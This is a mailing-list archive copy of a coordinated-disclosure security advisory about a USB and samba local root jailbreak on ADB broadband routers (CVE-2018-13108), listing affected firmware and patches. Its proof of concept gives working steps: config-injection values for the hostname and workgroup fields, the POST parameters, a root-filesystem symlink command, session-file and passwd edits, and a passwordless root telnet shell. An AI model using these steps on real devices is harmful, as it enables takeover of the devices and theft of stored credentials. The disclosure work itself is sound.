lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 4 Jul 2018 14:16:49 +0200
From: SEC Consult Vulnerability Lab <research@...-consult.com>
To: <bugtraq@...urityfocus.com>, <fulldisclosure@...lists.org>
Subject: [FD] SEC Consult SA-20180704-0 :: Local root jailbreak via network
 file sharing flaw in all ADB Broadband Gateways / Routers

Also see our other two advisories regarding critical ADB vulnerabilities
as they have been split up for better readability:

Authorization bypass:
https://www.sec-consult.com/en/blog/advisories/authorization-bypass-in-all-adb-broadband-gateways-routers/

Privilege escalation:
https://www.sec-consult.com/en/blog/advisories/privilege-escalation-via-linux-group-manipulation-in-all-adb-broadband-gateways-routers/


SEC Consult Vulnerability Lab Security Advisory < 20180704-0 >
=======================================================================
              title: Local root jailbreak via network file sharing flaw
            product: All ADB Broadband Gateways / Routers
                     (based on Epicentro platform)
 vulnerable version: Hardware: ADB P.RG AV4202N, DV2210, VV2220, VV5522, etc.
      fixed version: see "Solution" section below
         CVE number: CVE-2018-13108
             impact: critical
           homepage: http://www.adbglobal.com
              found: 2016-06-09
                 by: Johannes Greil (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"ADB creates and delivers the right solutions that enable our customers to
reduce integration and service delivery challenges to increase ARPU and reduce
churn. We combine ADB know-how and products with those from a number of third
party industry leaders to deliver complete solutions that benefit from
collaborative thinking and best in class technologies."

Source: https://www.adbglobal.com/about-adb/

"Founded in 1995, ADB initially focused on developing and marketing software
for digital TV processors and expanded its business to the design and
manufacture of digital TV equipment in 1997. The company sold its first set-top
box in 1997 and since then has been delivering a number of set-top boxes, and
Gateway devices, together with advanced software platforms. ADB has sold over
60 million devices worldwide to cable, satellite, IPTV and broadband operators.
ADB employs over 500 people, of which 70% are in engineering functions."

Source: https://en.wikipedia.org/wiki/Advanced_Digital_Broadcast


Business recommendation:
------------------------
By exploiting the local root vulnerability on affected and unpatched devices
an attacker is able to gain full access to the device with highest privileges.
Attackers are able to modify any settings that might have otherwise been
prohibited by the ISP. It is possible to retrieve all stored user credentials
(such as VoIP) or SSL private keys. Furthermore, attacks on the internal network
side of the ISP are possible by using the device as a jump host, depending on
the internal network security measures.

Network security should not depend on the security of independent devices,
such as modems. An attacker with root access to such a device can enable
attacks on connected networks, such as administrative networks managed by the
ISP or other users.

It is highly recommended by SEC Consult to perform a thorough security review
by security professionals for this platform. It is assumed that further critical
vulnerabilities exist within the firmware of this device.


Vulnerability overview/description:
-----------------------------------
1) Local root jailbreak via network file sharing flaw (CVE-2018-13108)
Most ADB devices offer USB ports in order for customers to use them for
printer or file sharing. In the past, ADB devices have suffered from symlink
attacks e.g. via FTP server functionality which has been fixed in more recent
firmware versions.

The "Network File Sharing" feature of current ADB devices via USB uses a samba
daemon which accesses the USB drive with highest access rights and exports the
network shares with root user permissions. The default and hardcoded setting
for the samba daemon within the smb.conf on the device has set "wide links =
no" which normally disallows gaining access to the root file system of the
device using symlink attacks via a USB drive.

But an attacker is able to exploit both a web GUI input validation and samba
configuration file parsing problem which makes it possible to access the root
file system of the device with root access rights via a manipulated USB drive.

The attacker can then edit various system files, e.g. passwd and session
information of the web server in order to escalate web GUI privileges and
start a telnet server and gain full system level shell access as root.


This is a local attack and not possible via remote access vectors as an
attacker needs to insert a specially crafted USB drive into the device!
Usually not even the ISPs themselves have direct root access on ADB devices
hence this attack is quite problematic for further internal attacks.

It is possible to change network routes and attack networks and systems within
the internal network of the ISP or add backdoors or sniffers to the device.


Furthermore, attackers are able to gain access to all stored credentials,
such as PPP, wireless, CPE management or VoIP passwords.


Proof of concept:
-----------------
1) Local root jailbreak via network file sharing flaw (CVE-2018-13108)
The samba configuration file (smb.conf) of the ADB devices has set the
following default settings. All file system operations will be performed
by the root user as set in the "force user" / "force group" setting of the
exported share:

    [global]
    netbios name = HOSTNAME
    workgroup = WORKGROUP
    wide links = no
    smb ports = 445 139
    security = share
    guest account = root
    announce version = 5.0
    socket options = TCP_NODELAY SO_RCVBUF=65536 SO_SNDBUF=65536
    null passwords = yes
    name resolve order = hosts wins bcast
    wins support = yes
    syslog only = yes
    read only = no
    hosts allow =  192.168.1.1/255.255.255.0
    [share]
    path = /mnt/sdb1/.
    read only = false
    force user = root
    force group = root
    guest ok = yes



An attacker can edit various values such as "netbios name" and "workgroup" via
the web GUI. The web GUI does some basic filtering and newlines are
unfortunately not allowed (the samba config file is line-based) hence a
special bypass has been crafted in order to change the default setting "wide
links = no" to "wide links = yes". This enables symlinks to the root file
system.

By using the following netbios name and workgroup, samba can be tricked into
allowing symlinks to the root file system of the device:
netbios domain / workgroup = =wide links = yes \  \
netbios name = wide links = yes \

Relevant HTTP POST parameters:
&domainName==wide links = yes \  \ &hostName=wide+links+%3D+yes+%5C


According to the manpage of smb.conf, any line ending in a \ is continued by the
samba parser on the next line. Furthermore, it states that "Only the first
equals sign in a parameter is significant." - which it seems can be bypassed
by adding a backslash \. The parser now thinks that the "wide links = yes" has
been set and omits the hardcoded "wide links = no" which comes further down
below in the smb.conf file.


In order to add those special values within the web GUI a proxy server such as
burp proxy is needed because of basic input validation on the client side (not
server side).


The USB drive needs to be formatted to ext2 or ext3 which is supported by
the ADB device. Then create a symlink to the root file system via the
following command on the attacker's computer:
    ln -s / /path/to/usbdevice/rootfs

After those settings have been changed and the USB drive has been set up,
the USB drive can be inserted into the ADB device. The USB volume needs to be
exported (with read/write permissions) as a share via the web GUI. Afterwards
it can be accessed over the network and the "rootfs" folder example from above
will give an attacker access to the ADB root file system with "read & write"
access permissions as root.

Most file systems / partitions on the device are mounted read-only per default,
but the most important one "/tmp" contains all settings and is mounted writable
for operations.


The defaut user "admin" usually has little access rights during normal
operations which can be changed by manipulating the session file of the web
server within /tmp/ui_session_XXX where XXX is the session id of the currently
logged on user, e.g. change:
from: access.dboard/settings/management/telnetserver =|> 2001
to: access.dboard/settings/management/telnetserver =|> 2220
etc. (or change all entries for maximum access level)


This way, an attacker can give himself all/highest access permissions within
the GUI and change all the settings of the device! Hence the telnet or SSH
server can be started even though they might have been disabled by the ISP.
Furthermore, the /tmp/passwd file has to be changed in order to allow root
access via shell/telnet:
change: root:*:0:0:root:/root:/bin/ash
to: root::0:0:root:/root:/bin/ash

Now telnet into the device with root and no password.
Example of an ADB DV2210 device:

Trying $IP...
Connected to $IP.
Escape character is '^]'.
Login root:


BusyBox v1.17.3 (2016-02-11 13:34:33 CET) built-in shell (ash)
Enter 'help' for a list of built-in commands.

      ___           ___           ___           ___
     |\__\         /\  \         /\  \         /\  \
     |:|  |       /::\  \       /::\  \       /::\  \
     |:|  |      /:/\:\  \     /:/\:\  \     /:/\:\  \
     |:|__|__   /::\~\:\  \   /::\~\:\  \   _\:\~\:\  \
     /::::\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /\ \:\ \:\__\
    /:/~~/~    \/__\:\/:/  / \/__\:\/:/  / \:\ \:\ \/__/
   /:/  /           \::/  /       \::/  /   \:\ \:\__\
   \/__/            /:/  /         \/__/     \:\/:/  /
                   /:/  /                     \::/  /
                   \/__/                       \/__/
..................................................................
 yet another purposeful solution by             A D B   Broadband
..................................................................
root@...stname:~# id
uid=0(root) gid=0(root) groups=0(root)
root@...stname:~#



Vulnerable / tested versions:
-----------------------------
The following devices & firmware have been tested which were the most recent
versions at the time of discovery.

The firmware versions depend on the ISP / customer of ADB and may vary!

ADB P.RG AV4202N - E_3.3.0, latest firmware version, depending on ISP
ADB DV 2210 - E_5.3.0, latest firmware version, depending on ISP
ADB VV 5522 - E_8.3.0, latest firmware version, depending on ISP
ADB VV 2220 - E_9.0.6, latest firmware version, depending on ISP
etc.

It has been confirmed by ADB that _all_ their ADB modems / gateways / routers
based on the Epicentro platform with USB ports and network file sharing
features are affected by this vulnerability in all firmware versions for all
their customers (ISPs) at the time of identification of the vulnerability.


Vendor contact timeline:
------------------------
2016-06-15: Contacting vendor ADB, exchanging encryption keys & advisory
            Asking about affected devices / firmware, timeline for hotfix
            Fast initial response from ADB providing requested information
2016-06-16: Asking about other affected devices
2016-06-17: Resending previous question due to encryption problems
2016-07-04: Conference call
2016-07 - 2017-04: Further coordination, waiting for firmware release,
            implementation & rollout phases for their customers
2018-07-04: Embargo lifted, public release of security advisory


Solution:
---------
The firmware versions depend on the ISP / customer of ADB and may vary!

Patch version:

ADB P.RG AV4202N >= E_3.3.2, firmware version depending on ISP
ADB DV2210 >= E_5.3.2, firmware version depending on ISP
ADB VV5522 >= E_8.3.2, firmware version depending on ISP
ADB VV2220 >= E_9.3.2, firmware version depending on ISP

Centro Business 1  >= 7.12.10
Centro Business 2  >= 8.06.08

etc.


Workaround:
-----------
Restrict access to the web interface and only allow trusted users.
Change any default/weak passwords to strong credentials.
Don't allow remote access to the web GUI via Internet.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF J. Greil / @2018


Download attachment "smime.p7s" of type "application/pkcs7-signature" (3995 bytes)


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux - Powered by OpenVZ